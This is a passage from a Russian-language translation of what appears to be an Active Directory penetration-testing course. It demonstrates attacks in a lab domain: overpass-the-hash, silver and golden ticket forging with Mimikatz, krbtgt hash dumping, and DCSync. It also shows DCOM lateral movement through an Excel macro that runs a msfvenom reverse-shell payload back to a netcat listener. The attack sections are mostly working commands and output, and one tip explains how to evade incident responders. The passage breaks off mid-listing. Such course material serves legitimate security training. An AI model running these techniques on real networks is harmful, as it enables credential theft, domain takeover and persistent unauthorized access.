Листинг 41 - Дамп хеша пароля Jeff_Admin

Этот вывод показывает кэшированные учетные данные Jeff_Admin, включая NTLM хэш, который мы будем использовать для overpass хэша.

Суть метода превращения хэша в NTLM заключается в том, чтобы превратить хэш NTLM в билет Kerberos и избежать использования NTLM-аутентификации. Простой способ сделать это снова с помощью команды `sekurlsa:: pth` в Mimikatz.

Эта команда требует нескольких аргументов и создает новый процесс PowerShell в контексте пользователя Jeff_Admin. Этот новый промпт PowerShell позволит нам получить тикеты Kerberos без выполнения NTLM-аутентификации по сети, что делает эту атаку отличной от традиционной pass-the-hash.

В качестве первого аргумента мы указываем `/user:` и `/domain:`, устанавливая их в `jeff_admin` и `corp.com` соответственно. Мы укажем NTLM хэш с помощью `/ntlm:` и, наконец, используем `/run:` для указания какой процесс создать (в данном случае PowerShell).

Код:
mimikatz # sekurlsa::pth /user:jeff_admin /domain:corp.com /ntlm:e2b475c11da2a0748290d87aa966c327 /run:PowerShell.exe
user    : jeff_admin
domain  : corp.com
program : cmd.exe
impers. : no
NTLM    : e2b475c11da2a0748290d87aa966c327
  | PID 4832
  | LSA Process is now R/W
  | LUID 0 ; 1197687 (00000000:00124677)
  \_ msv1_0 - data copy @ 040E5614 : OK !
  \_ kerberos - data copy @ 040E5438
   \_ aes256_hmac -> null
   \_ aes128_hmac -> null
   \_ rc4_hmac_nt OK
   \_ rc4_hmac_old OK
   \_ rc4_md4 OK
   \_ rc4_hmac_nt_exp OK
   \_ rc4_hmac_old_exp OK
   \_ *Password replace -> null
Листинг 42 - Создание процесса с использованием NTLM хэша другого пользователя

На данный момент у нас есть новый сеанс PowerShell, который позволяет нам выполнять команды под именем Jeff_Admin.

Давайте выведем список кэшированных тикетов Kerberos с помощью `klist:`.

Код:
PS C:\Windows\system32> klist

Current LogonId is 0:0x1583ae

Cached Tickets: (0)
Листинг 43 - Список тикетов Kerberos

Тикеты Kerberos не были кэшированы, но это ожидаемо, так как Jeff_Admin не выполнил интерактивный логин. Однако, давайте сгенерируем TGT путем аутентификации на сетевом разделяемом ресурсе на контроллере домена с `net use`:

Код:
PS C:\Windows\system32> net use \\dc01
The command completed successfully.

PS C:\Windows\system32> klist

Current LogonId is 0:0x1583ae

Cached Tickets: (3)

#0> Client: jeff_admin @ CORP.COM
    Server: krbtgt/CORP.COM @ CORP.COM
    KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
    Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canoni
    Start Time: 2/12/2018 13:59:40 (local)
    End Time: 2/12/2018 23:59:40 (local)
    Renew Time: 2/19/2018 13:59:40 (local)
    Session Key Type: AES-256-CTS-HMAC-SHA1-96
    Cache Flags: 0x2 -> DELEGATION
    Kdc Called: DC01.corp.com

#1> Client: jeff_admin @ CORP.COM
    Server: krbtgt/CORP.COM @ CORP.COM
    KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
    Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonica
    Start Time: 2/12/2018 13:59:40 (local)
    End Time: 2/12/2018 23:59:40 (local)
    Renew Time: 2/19/2018 13:59:40 (local)
    Session Key Type: AES-256-CTS-HMAC-SHA1-96
    Cache Flags: 0x1 -> PRIMARY
    Kdc Called: DC01.corp.com

#2> Client: jeff_admin @ CORP.COM
    Server: cifs/dc01 @ CORP.COM
    KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
    Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_c
    Start Time: 2/12/2018 13:59:40 (local)
    End Time: 2/12/2018 23:59:40 (local)
    Renew Time: 2/19/2018 13:59:40 (local)
    Session Key Type: AES-256-CTS-HMAC-SHA1-96
    Cache Flags: 0
    Kdc Called: DC01.corp.com
Листинг 44 - Подключение сетевого диска на контроллере домена и получение списка тикетов Kerberos

Полученные данные указывают на то, что команда `net use` выполнилась успешно. Затем мы используем команду `klist` для получения списка вновь запрашиваемых билетов Kerberos, в том числе TGT и TGS для службы *CIFS*.

В этом примере мы использовали "net use", но мы могли использовать любую команду, требующую разрешения домена, и впоследствии создать TGS.

Теперь мы преобразовали наш NTLM хэш в Kerberos TGT, что позволяет нам использовать любые инструменты, которые используют Kerberos аутентификацию (в отличие от NTLM), такие как официальное приложение .

PsExec может выполнить команду удаленно, но не принимает хэши паролей. Поскольку мы сгенерировали тикеты Kerberos и работаем в контексте Jeff_Admin в сеансе PowerShell, мы можем повторно использовать TGT для выполнения кода на контроллере домена.

Давайте попробуем сделать это сейчас, запустив `./PsExec.exe` для удаленного запуска `cmd.exe` на машине `\dc01` под именем Jeff_Admin:

Код:
PS C:\Tools\active_directory> .\PsExec.exe \\dc01 cmd.exe

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\Windows\system32> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix . :
   Link-local IPv6 Address . . . . . : fe80::7959:aaad:eec:3969%2
   IPv4 Address. . . . . . . . . . . : 192.168.1.110
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1
...

C:\Windows\system32> whoami
corp\jeff_admin
Листинг 45- Открываем удаленное соединение с использованием Kerberos

Как видно из результатов, мы успешно повторно использовали Kerberos TGT для запуска командного шелла (cmd) на контроллере домена.

Отлично! Нам удалось обновить кэшированный NTLM хэш пароля до Kerberos TGT и использовать его для удаленного выполнения кода.

Pass the Ticket

В предыдущем разделе мы использовали технику overpass the hash (вместе с захваченным NTLM хэшем) для получения Kerberos TGT, что позволяет нам аутентифицироваться, используя Kerberos. Мы можем использовать TGT только на машине, для которой он был создан, но TGS потенциально предлагает больше возможностей.

Атака Pass the Ticket использует преимущества TGS, который может быть экспортирован и загружен в другое место в сети, а затем использован для аутентификации в определенной службе (сервисе). Кроме того, если сервисные тикеты принадлежат текущему пользователю, то привилегий администратора не требуется.

Пока что эта атака не дает нам никакого дополнительного доступа, но предлагает гибкость в выборе машины, с которой будет использоваться тикет. Однако, если сервис зарегистрирован с service principal name (SPN), то этот сценарий становится еще интереснее.

Ранее мы продемонстрировали, что можем взломать хэш пароля учетной записи сервиса и получить пароль от сервисного тикета. Этот пароль может быть использован для доступа к ресурсам, доступным сервисной учетной записи.

Однако если сервисная учетная запись не является локальным администратором ни на одном из серверов, мы не сможем выполнить lateral movement с помощью таких векторов, как pass the hash или overpass the hash, и поэтому в этих случаях нам придется использовать другой подход.

Как и в случае с Pass the Hash, Overpass the Hash также требует доступа к специальному администраторскому ресурсу __Admin$__, который, в свою очередь, требует прав локального администратора на целевой машине.

Напоминание о внутренней работе аутентификации Kerberos, - приложение на сервере, выполняющееся в контексте учетной записи службы, проверяет разрешения пользователя от членов группы, включенной в тикет службы. При этом права пользователя и группы, включенные в сервисный тикет, приложением не проверяются. Приложение слепо доверяет целостности сервисного тикета, поскольку он зашифрован хэшем пароля - теоретически - известным только сервисной учетной записи и контроллеру домена.

В качестве примера, если мы аутентифицируемся на сервере IIS, выполняющемся в контексте сервисной учетной записи _iis_service_, приложение IIS определит, какие разрешения у нас есть на сервере IIS в зависимости от членства в группах, присутствующих в сервисном тикете.

Однако, имея под рукой пароль сервисной учетной записи или связанный с ним NTLM хэш, мы можем подделать свой собственный сервисный тикет для доступа к целевому ресурсу (в нашем примере приложение IIS) с любыми желаемыми полномочиями. Этот созданный на заказ тикет известен как , и если service principal name используется на нескольких серверах, то серебряный тикет может быть использован на них всех.

Mimikatz может создать серебряный тикет и загрузить его прямо в память через (несколько вводящую в заблуждение) команду kerberos::gold. Мы объясним это очевидно неправильное имя позже в модуле.

Для создания тикета нам сначала нужно получить так называемый домена. SID - это уникальное имя для любого объекта в Active Directory и имеет следующую структуру:

S-R-I-S
Листинг 46 - Структура Security Identifier

В этой структуре SID начинается с буквы "S" для идентификации строки как SID, за которой следует уровень ревизии (обычно устанавливается на "1"), значение идентификатора-полномочия (часто "5" в AD) и одно или несколько значений подполномочий.

Например, реальный SID может выглядеть так:

S-1-5-21-2536614405-3629634762-1218571035-1116
Листинг 47 - Пример Security Identifier

Первые значения в Листинге 47 ("S-1-5") достаточно статичны внутри AD. Значение подполномочия является динамическим и состоит из двух первичных частей: числового идентификатора домена (в данном случае "21-2536614405-3629634762-1218571035") и относительного идентификатора или , представляющего конкретный объект в домене (в данном случае "1116").

Сочетание значения домена и относительного идентификатора позволяет гарантировать, что каждый SID является уникальным.

Мы можем легко получить SID нашего текущего пользователя с помощью команды whoami /user и затем извлечь доменную часть SID из него. Давайте попробуем сделать это на нашем клиенте Windows 10:

Код:
C:\>whoami /user

USER INFORMATION
----------------

User Name   SID
=========== ==============================================
corp\offsec S-1-5-21-1602875587-2787523311-2599479668-1103
Листинг 48 - Получаем Domain SID

SID, определяющий домен - это вся строка, за исключением RID в конце ( -1103), как выделено в Листинге 48.

Теперь, когда у нас есть SID домена, давайте попробуем создать серебряный тикет для службы IIS, которую мы ранее обнаружили в нашем выделенном лабораторном домене.

Команда silver ticket требует имя пользователя (`/user`), имя домена (`/domain`), SID домена (`/sid`), который выделен выше, полное имя хоста службы (`/target`), тип службы (`/service:HTTP`), и хэш пароля учетной записи службы iis_service (`/rc4`).

Наконец, сгенерированный серебряный тикет загружается непосредственно в память с помощью флага `/ppt`.

Перед тем, как запустить команду, мы очистим все существующие тикеты Kerberos с помощью `kerberos:: purge` и проверим очистку с помощью `kerberos::list`:

Код:
mimikatz # kerberos::purge
Ticket(s) purge for current session is OK

mimikatz # kerberos::list

mimikatz # kerberos::golden /user:offsec /domain:corp.com /sid:S-1-5-21-1602875587-2787523311-2599479668 /target:CorpWebServer.corp.com /service:HTTP /rc4:E2B475C11DA2A0748290D87AA966C327 /ptt
User      : offsec
Domain    : corp.com (CORP)
SID       : S-1-5-21-1602875587-2787523311-2599479668
User Id   : 500
Groups Id : \*513 512 520 518 519
ServiceKey: e2b475c11da2a0748290d87aa966c327 - rc4_hmac_nt
Service   : HTTP
Target    : CorpWebServer.corp.com
Lifetime : 13/02/2018 10.18.42 ; 11/02/2028 10.18.42 ; 11/02/2028 10.18.42
-> Ticket : \*\* Pass The Ticket \*\*

 \* PAC generated
 \* PAC signed
 \* EncTicketPart generated
 \* EncTicketPart encrypted
 \* KrbCred generated

Golden ticket for 'offsec @ corp.com' successfully submitted for current session

mimikatz # kerberos::list

[00000000] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 13/02/2018 10.18.42 ; 11/02/2028 10.18.42 ; 11/02/2028 10.18.42
Server Name    : HTTP/CorpWebServer.corp.com @ corp.com
Client Name    : offsec @ corp.com
Flags 40a00000 : pre_authent ; renewable ; forwardable ;
Листинг 49 - Создание silver ticket для сервисного аккаунта iis_service

Как видно из результата в Листинге 49, в память был загружен новый сервисный тикет для SPN HTTP/CorpWebServer.corp.com и Mimikatz установил соответствующие разрешения на членство в группе в поддельном тикете. С точки зрения приложения IIS, текущим пользователем будет как встроенный локальный администратор ( Relative Id: 500 ), так и член нескольких привилегированных групп, включая группу Domain Admins (как было выделено выше).

Для создания серебряного тикета мы используем хэш-пароль, а не пароль в явном виде. Если сессия kerberoast представила нам пароль в явном виде, мы должны хэшировать его, прежде чем использовать его для создания серебряного тикета.

Теперь, когда этот тикет загружен в память, мы можем взаимодействовать со службой и получать доступ к любой информации, основанной на членстве в группе, которую мы поместили в серебряный тикет. В зависимости от типа сервиса, можно также получить выполнение кода.

Distributed Component Object Model (DCOM)

В этом разделе мы рассмотрим достаточно новую технику бокового перемещения (lateral movement), использующую .

Две другие хорошо известные техники бокового перемещения (lateral movement) также заслуживают упоминания: ипользование и техника, известная как . Хотя мы не будем вдаваться в подробности этих методов, у них есть свои преимущества и недостатки, а также множество реализаций как , так и .

Объектная модель Microsoft Component Object Model (COM) представляет собой систему для создания программных компонентов, которые взаимодействуют друг с другом. Хотя COM была создана для однопроцессного или межпроцессного взаимодействия, она была расширена до Distributed Component Object Model (DCOM) для взаимодействия между несколькими компьютерами по сети.

И COM, и DCOM - это очень старые технологии, восходящие к самым . Взаимодействие с DCOM осуществляется через RPC на TCP-порту 135, и для вызова DCOM Service Control Manager, который по сути является API, требуется доступ локального администратора.

Объекты DCOM, связанные с Microsoft Office, позволяют lateral movement, как , так . Так как для этого требуется присутствие Microsoft Office на целевом компьютере, эта техника бокового перемещения лучше всего подходит для рабочих станций. Однако в нашем случае мы продемонстрируем эту атаку в лаборатории на выделенный контроллер домена, на котором уже установлен Office. Если говорить точнее, мы используем .

Прежде чем мы сможем использовать Microsoft Office, мы должны установить его и на студенческую ВМ Windows 10, и на контроллер домена. Установщик находится по адресу `C:\tools\client_side_attacks\Office2016.img`, и процесс такой же, как и в модуле Client Side Attacks.

Для начала, мы должны обнаружить доступные методы или подобъекты для этого DCOM объекта с помощью PowerShell. Для этого примера мы работаем с клиентом Windows 10 в качестве пользователя jeff_admin, локального администратора на удаленной машине.

В этом примере мы сначала создаем экземпляр объекта с помощью PowerShell и метода класса System.Activator.

В качестве аргумента для CreateInstance необходимо указать его тип с помощью метода , указав идентификатор программы (в данном случае Excel.Application), а также IP-адрес удаленной рабочей станции.

С помощью экземпляра объекта мы можем определить его доступные методы и объекты с помощью команды .

Код:
$com = [activator]::CreateInstance([type]::GetTypeFromProgId("Excel.Application", "192.168.1.110"))
$com | Get-Member
Листинг 50 - Код создания объекта DCOM и получения списка методов

Данный скрипт выдаёт следующий результат (укорочен):

Код:
TypeName: System.__ComObject#{000208d5-0000-0000-c000-000000000046}
Name                    MemberType        Definition
----                    ----------        ----------
ActivateMicrosoftApp    Method            void ActivateMicrosoftApp (XlMSApplication)
AddChartAutoFormat      Method            void AddChartAutoFormat (Variant, string, Varia
...
ResetTipWizard          Method            void ResetTipWizard ()
Run Method Variant Run (Variant...
Save                    Method            void Save (Variant)
...
Workbooks               Property          Workbooks Workbooks () {get}
...
Листинг 51 - Результат, показывающий метод Run

Результат содержит множество методов и объектов, но мы сконцентрируемся на , который позволит нам удаленно выполнить макрос Visual Basic for Applications (VBA).
Чтобы использовать его, мы сначала создадим документ Excel с макросом POC (proof of concept), выбрав закладку VIEW и щелкнув Macros в Excel.
В этом простом POC мы используем макрос VBA, который запускает `notepad.exe`:

Код:
Sub mymacro()
    Shell ("notepad.exe")
End Sub
Листинг 52 - Proof of concept мактос для Excel

Мы назвали наш макрос "mymacro" и сохранили файл Excel в устаревшем формате .xls.

Для выполнения макроса необходимо сначала скопировать документ Excel на удаленный компьютер. Поскольку мы должны быть локальным администратором, чтобы воспользоваться преимуществами DCOM, мы также должны иметь доступ к удаленной файловой системе через SMB.

Мы можем использовать класса .NET System.IO.File для копирования файла. Чтобы вызвать его, мы указываем исходный файл, целевой файл и флаг, указывающий, должен ли целевой файл быть перезаписан, если он присутствует, как показано в коде PowerShell ниже:

Код:
$LocalPath = "C:\Users\jeff_admin.corp\myexcel.xls"

$RemotePath = "\\192.168.1.110\c$\myexcel.xls"

[System.IO.File]::Copy($LocalPath, $RemotePath, $True)
Листинг 53 - Копируем документ Excel на удаленный компьютер

Прежде чем мы сможем выполнить метод Run с помощью макроса, необходимо указать документ Excel, в котором он содержится. Это делается с помощью метода объекта , который также доступен через DCOM, как показано в списке методов и объектов:

Код:
        TypeName: System.__ComObject#{000208d5-0000-0000-c000-000000000046}
Name                  MemberType Definition
----                  ---------- ----------
ActivateMicrosoftApp  Method     void ActivateMicrosoftApp (XlMSApplication)
AddChartAutoFormat    Method     void AddChartAutoFormat (Variant, string, Variant
...
ResetTipWizard        Method     void ResetTipWizard ()
Run                   Method     Variant Run (Variant...
Save                  Method     void Save (Variant)
...
Workbooks             Property   Workbooks Workbooks () {get}
...
Листинг 54 - Вывод свойств Workbooks

Объект Workbooks создается из COM handle $com, который мы создали ранее для получения списка свойств.

Мы можем вызвать метод Open непосредственно с помощью следующего кода:

$Workbook = $com.Workbooks.Open("C:\myexcel.xls")
Листинг 55 - Открывает документ excel на DC

Однако этот код приводит к ошибке при взаимодействии с удаленным компьютером:

Код:
$Workbook = $com.Workbooks.Open("C:\myexcel.xls")
Unable to get the Open property of the Workbooks class
At line:1 char:1
+ $Workbook = $com.Workbooks.Open("C:\myexcel.xls")
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo : OperationStopped: (:) [], COMException
    + FullyQualifiedErrorId : System.Runtime.InteropServices.COMException
Листинг 56 - Ошибка при попытке открытия spreadsheet

Причина этой ошибки заключается в том, что когда *Excel.Application* инстанцируется через DCOM, это делается с помощью . Учетная запись SYSTEM не имеет профиля, который используется в процессе открытия. Для исправления этой проблемы можно просто создать папку Desktop по адресу C:\Windows\SysWOW64\config\systemprofile, которая удовлетворяет этому требованию к профилю.

Мы можем создать этот каталог следующим кодом PowerShell:

Код:
$Path = "\\192.168.1.110\c$\Windows\sysWOW64\config\systemprofile\Desktop"

$temp = [system.io.directory]::createDirectory($Path)
Листинг 57 - Создание папки в профиле SYSTEM

С созданной папкой профиля для аккаунта SYSTEM мы можем попытаться вызвать метод *Open* еще раз, который теперь должен пройти успешно, и открыть документ Excel.

Теперь, когда документ открыт, мы можем вызвать метод *Run* со следующим полным сценарием PowerShell:

Код:
$com = [activator]::CreateInstance([type]::GetTypeFromProgId("Excel.Application", "192.168.1.110"))

$LocalPath = "C:\Users\jeff_admin.corp\myexcel.xls"

$RemotePath = "\\192.168.1.110\c$\myexcel.xls"

[System.IO.File]::Copy($LocalPath, $RemotePath, $True)

$Path = "\\192.168.1.110\c$\Windows\sysWOW64\config\systemprofile\Desktop"

$temp = [system.io.directory]::createDirectory($Path)

$Workbook = $com.Workbooks.Open("C:\myexcel.xls")

$com.Run("mymacro")
Листинг 58 - Код Proof of concept для удаленного запуска макроса Excel

Этот код должен открыть приложение Notepad в качестве фонового процесса, выполняемого в контексте c высоким уровнем доступа на удаленной машине, как показано на рисунке 6.

distributed_component_object_model_figure_312.png

Рисунок 6: Запуск Notepad из Excel

Хотя создание удаленного приложения Notepad интересно, нам нужно изменить эту атаку, чтобы вместо Notepad запустить реверс шелл. Поскольку мы используем документ Office, мы можем просто повторно использовать технику выполнения кода на стороне клиента Microsoft Word, которую мы рассмотрели в предыдущем модуле.

Для этого мы используем msfvenom для создания пейлода для HTA-атаки, поскольку она содержит пейлоад в кодировке Base64 для использования с PowerShell:

Код:
kali@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=4444 -f hta-psh -o evil.hta
No platform was selected, choosing Msf::Module::platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of hta-psh file: 6461 bytes
Saved as: evil.hta
[CENTER]Листинг 59 - Создание HTA пейлоада с помощью msfvenom[/CENTER]

Обратите внимание, что мы используем IP-адрес второго сетевого интерфейса клиента Windows 10, чтобы контроллер домена мог обратиться к нашему листнеру Netcat.

Далее мы извлекаем строку, начинающуюся с "powershell.exe -nop -w hidden -e", за которой следует кодированная полезная нагрузка Base64, и используем простой скрипт на Python в Листинге 60, чтобы разбить команду на более мелкие куски, обходя ограничение на размер символьных строк в макросах Excel:

[CODE]str = "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQ....."

n = 50

for i in range(0, len(str), n):
    print "Str = Str + " + '"' + str[i:i+n] + '"'
Листинг 60 - Скрипт на Python для разрезания строк, закодированных в Base64

Теперь мы обновим наш макрос Excel, чтобы выполнить PowerShell вместо Notepad, и повторим действия, чтобы загрузить его на контроллер домена и выполнить его.

Код:
Sub MyMacro()
    Dim Str As String

    Str = Str + "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"
    Str = Str + "ABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewA"
...
    Str = Str + "EQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHM"
    Str = Str + "AXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA="
    Shell (Str)
End Sub
Листинг 61 - Обновление макроса разрезанной строкой Base64

Перед выполнением макроса мы запустим листнер Netcat на клиенте Windows 10, чтобы принять реверс шелл с контроллера домена:

Код:
PS C:\Tools\practical_tools> nc.exe -lvnp 4444

listening on [any] 4444 ...
connect to [192.168.1.111] from (UNKNOWN) [192.168.1.110] 59121
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
Листинг 62 - Реверс шелл с помощью техники DCOM lateral movement

В то время как атака требует доступа как к TCP 135 для DCOM, так и к TCP 445 для SMB, это относительно новый вектор lateral movement и может избежать некоторых систем обнаружения, таких как Network Intrusion Detection или антивирус.

Закрепление в AD

Как только мы получим доступ и достигнем основных целей атаки, наша следующая задача - добиться устойчивости (закрепиться на цели/целях), гарантируя, что мы не потеряем доступ к скомпрометированным машинам.

Мы можем использовать традиционные методы закрепления в окружении AD, но мы также можем закрепиться в самом AD. Обратите внимание, что во многих тестах на проникновение в реальном мире или при работе с red team закрепление не является частью тестирования из-за риска неполного удаления следов после завершения атаки.

Golden Tickets

Возвращаясь к описанию Kerberos аутентификации, мы помним, что когда пользователь отправляет запрос на TGT, KDC шифрует TGT секретным ключом, известным только KDC в домене. Этот секретный ключ на самом деле является хэшем пароля учетной записи пользователя домена под названием .

Если мы сможем получить хэш пароля krbtgt мы сможем создать свои собственные TGT или золотые тикеты.

Например, мы можем создать TGT, утверждающий, что непривилегированный пользователь на самом деле является членом группы администраторов домена (Domain Admins), и контроллер домена будет ему доверять, поскольку он корректно зашифрован.

Мы должны тщательно защищать украденные хэши паролей krbtgt, так как он предоставляет неограниченный доступ к домену. Подумайте о том, чтобы получить разрешение клиента (заказчика тестирования) перед выполнением этой техники.

Это лучший способ закрепления в среде Active Directory, а его главным преимуществом является то, что пароль учетной записи krbtgt не меняется автоматически.

На самом деле, этот пароль меняется только при обновлении функционального уровня домена с Windows 2003 до Windows 2008. Из-за этого нередко можно найти очень старые хэши паролей krbtgt.

устанавливает возможности домена и определяет, какие операционные системы Windows могут быть запущены на контроллере домена. Более высокие функциональные уровни обеспечивают дополнительные возможности, функциональность и защиту от несанкционированного доступа.

Чтобы протестировать эту методику закрепления, мы сначала попробуем переместиться с рабочей станции Windows 10 на контроллер домена с помощью PsExec в качестве пользователя Offsec.

Это должно выдать ошибку, поскольку у нас нет соответствующих разрешений:

Код:
C:\Tools\active_directory> psexec.exe \\dc01 cmd.exe

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Couldn't access dc01:
Access is denied.
Листинг 63 - Неудачная попытка сделать lateral movement​

На данном этапе мы должны иметь доступ к учетной записи, которая является членом группы администраторов домена, или если мы скомпрометировали сам контроллер домена.

С таким доступом мы можем извлечь хэш пароля учетной записи krbtgt с помощью Mimikatz.

Чтобы сымитировать это, мы войдем на контроллер домена через удаленный рабочий стол с помощью учетной записи jeff_admin, запустим Mimikatz из папки C: и выдадим команду lsadump::lsa, как показано ниже:

Код:
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::lsa /patch
Domain : CORP / S-1-5-21-1602875587-2787523311-2599479668

RID  : 000001f4 (500)
User : Administrator
LM   :
NTLM : e2b475c11da2a0748290d87aa966c327

RID  : 000001f5 (501)
User : Guest
LM   :
NTLM :

RID  : 000001f6 (502)
User : krbtgt
LM   :
NTLM : 75b60230a2394a812000dbfad8415965
...
Листинг 64 - Дамп хеша пароля krbtgt с помощью Mimikatz

Создание золотого тикета и загрузка его в память не требует никаких привилегий администратора, и может быть выполнено даже с компьютера, который не присоединен к домену. Мы возьмем хэш и продолжим процедуру со скомпрометированной рабочей станции.

Перед генерацией золотого тикета мы удалим все существующие тикеты Kerberos с kerberos:: purge.

Мы предоставим SID домена (который мы можем получить с помощью whoami /user) команде Mimikatz kerberos::golden для создания золотого тикета. На этот раз мы используем опцию `/krbtgt` вместо `/rc4`, чтобы указать, что мы поставляем хэш пароля. Мы установим fakeuser в качестве имени пользователя золотого тикета. Это сработает, потому что контроллер домена доверяет всему, что правильно зашифровано хэшем пароля krbtgt.

Код:
mimikatz # kerberos::purge
Ticket(s) purge for current session is OK

mimikatz # kerberos::golden /user:fakeuser /domain:corp.com /sid:S-1-5-21-1602875587-2
787523311-2599479668 /krbtgt:75b60230a2394a812000dbfad8415965 /ptt
User      : fakeuser
Domain    : corp.com (CORP)
SID       : S-1-5-21-1602875587-2787523311-2599479668
User Id   : 500
Groups Id : \*513 512 520 518 519
ServiceKey: 75b60230a2394a812000dbfad8415965 - rc4_hmac_nt
Lifetime  : 14/02/2018 15.08.48 ; 12/02/2028 15.08.48 ; 12/02/2028 15.08.48

-> Ticket : \*\* Pass The Ticket \*\*
 \* PAC generated
 \* PAC signed
 \* EncTicketPart generated
 \* EncTicketPart encrypted
 \* KrbCred generated

Golden ticket for 'fakeuser @ corp.com' successfully submitted for current session

mimikatz # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 012E3A24
Листинг 65 - Создание золотого тикета с помощью Mimikatz

При использовании опции golden ticket Mimikatz предоставляет два набора значений по умолчанию, а именно ID пользователя и ID группы. Идентификатор пользователя по умолчанию установлен на 500, который является RID встроенного администратора домена, в то время как значения для идентификатора групп состоят из наиболее привилегированных групп в Active Directory, включая группу Domain Admins (администраторы домена).

С помощью золотого тикета, загруженного в память, мы можем запустить новый интерпретатор команд (шелл) с помощью `misc::cmd` и снова попробовать lateralmovement с помощью PsExec.

Код:
C:\Users\offsec.crop> psexec.exe \\dc01 cmd.exe
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich

Sysinternals - www.sysinternals.com


C:\Windows\system32> ipconfig

Windows IP Configuration

thernet adapter Ethernet0:

    Connection-specific DNS Suffix .. :
    Link-local IPv6 Address . . . . . : fe80::7959:aaad:eec:3969%2
    IPv4 Address. . . . . . . . . . . : 192.168.1.110
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . : 192.168.1.1
...
C:\Windows\system32> whoami
corp\fakeuser

C:\Windows\system32> whoami /groups

GROUP INFORMATION
-----------------

Group Name                        Type                   Attributes
===========                       =====                  ================== ================ ==================================
Everyone                          Well-known group       Mandatory group, Enabled by default
BUILTIN\Administrators            Alias Mandatory group, Enabled by default
BUILTIN\Users                     Alias Mandatory group, Enabled by default
...
NT AUTHORITY\Authenticated Users  Well-known group       Mandatory group, Enabled by default
NT AUTHORITY\This Organization    Well-known group       Mandatory group, Enabled by default
CORP\Domain Admins                Group Mandatory group, Enabled by default
CORP\Group Policy Creator Owners  Group Mandatory group, Enabled by default
CORP\Schema Admins                Group Mandatory group, Enabled by default
CORP\Enterprise Admins            Group Mandatory group, Enabled by default
...
Mandatory Label\High Mandatory Level Label
Листинг 66 - Lateral movement с использованием golden ticket и PsExec

У нас есть интерактивная командная строка (шелл) на контроллере домена и обратите внимание, что команда `whoami` сообщает нам о том, что мы являемся фальшивым пользователем, которого нет в домене. Список членов группы показывает, что мы являемся членом нескольких привилегированных групп, включая группу администраторов домена (Domain Admins). Отлично.

Использование несуществующего имени пользователя может предупредить команду реагирования на инциденты, если они просматривают (обрабатывают) журналы доступа. Чтобы уменьшить подозрения, рассмотрите возможность использования имени и ID существующего системного администратора.

Обратите внимание, что создавая свой собственный TGT, а затем используя PsExec, мы выполняем хэш-атаку с помощью аутентификации Kerberos. Если бы мы подключались с помощью PsExec к IP адресу контроллера домена вместо имени хоста, мы бы вместо этого принудительно использовали NTLM аутентификацию, и доступ все равно был бы заблокирован, как видно из следующего Листинга.

Код:
C:\Users\Offsec.corp> psexec.exe \\192.168.1.110 cmd.exe

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Couldn't access 192.168.1.110:
Access is denied.
Листинг 67 - Использование NTLM аутентификации блокирует наш доступ

Синхронизация контроллеров домена

Еще одним способом закрепления в инфраструктуре Active Directory является кража хэшей паролей для всех административных пользователей в домене.

Для этого мы можем сделать lateral movement на контроллер домена и запустить Mimikatz, чтобы сдампить хэши паролей всех пользователей. Мы также можем украсть копию файла базы данных , который является копией всех учетных записей Active Directory, хранящихся на жестком диске, подобно базе данных SAM, используемой для локальных учетных записей.

Хотя эти методы могут отлично сработать, они оставляют след доступа и могут потребовать загрузки утилит. Альтернативой является использование функциональности AD для перехвата хэшей удаленно с рабочей станции.

В производственных средах домены обычно имеют более одного контроллера домена для обеспечения надежности. использует для синхронизации этих дополнительных контроллеров домена. Контроллер домена может запросить обновление для определенного объекта, например, учетной записи, с помощью API.

К счастью для нас, контроллер домена, получающий запрос на обновление, не проверяет, что запрос пришел с известного контроллера домена, а только то, что связанный с ним SID имеет соответствующие привилегии. Если мы попробуем послать неавторизованный запрос на обновление на контроллер домена от пользователя, входящего в группу Domain Admins, запрос будет выполнен.

В следующем примере мы войдем на клиент Windows 10 в качестве jeff_admin, чтобы симулировать компрометацию учетной записи администратора домена и выполнить репликацию.

Мы откроем Mimikatz и запустим репликацию с помощью sadump::dcsync с опцией /user для указания целевого пользователя для синхронизации, в данном случае встроенной учетной записи администратора домена, как показано в Листинге 68.

Код:
mimikatz # lsadump::dcsync /user:Administrator
[DC] 'corp.com' will be the domain
[DC] 'DC01.corp.com' will be the DC server
[DC] 'Administrator' will be the user account

Object RDN           : Administrator

\*\* SAM ACCOUNT \*\*

SAM Username         : Administrator
User Principal Name  : Administrator@corp.com
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
